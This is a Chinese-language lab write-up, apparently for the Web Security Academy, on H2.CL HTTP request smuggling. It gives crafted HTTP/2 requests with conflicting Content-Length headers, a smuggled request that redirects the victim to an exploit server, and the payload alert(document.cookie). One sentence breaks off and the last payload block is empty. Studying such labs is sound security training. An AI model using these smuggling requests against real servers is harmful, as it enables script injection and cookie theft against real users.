> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/h2-cl-request-smuggling.md).
# H2.CL 请求走私
### H2.CL 请求走私
该实验室存在 **请求走私** 因为前端服务器会降级 **HTTP/2** 即使它们具有歧义长度，也会处理这些请求。
目标是实施一次攻击，使受害者的浏览器能够加载并执行一个 **恶意 JavaScript 文件** 该文件托管在利用服务器上，内容如下：
```javascript
alert(document.cookie)
```
受害者用户每 **10 秒**.
#### **通过走私切换为 404**
需要长度不一致才能导致一个 **404 未找到**:
```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14
test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11
test=test
```
#### **应用行为分析**
页面会自动加载一个脚本：
`resources/js/analytics.js?uid=3309545055`
该脚本会生成一个随机标识符，并向以下地址发送查询：
```javascript
/analytics?id=
```
函数摘录：
```javascript
function randomString(length, chars) {
var result = '';
for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```
#### **可接受路径的观察**
向以下地址走私的请求：
```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11
test=test
```
会被接受。
而其他路径则不会。
#### **恶意脚本注入**
我们将有效载荷放入利用服务器提供的文件中：
* 文件名： **resources**
* 正文内容：
```javascript
```
受害者会被重定向到该文件，浏览器执行该 alert，确认了漏洞利用成功。
---
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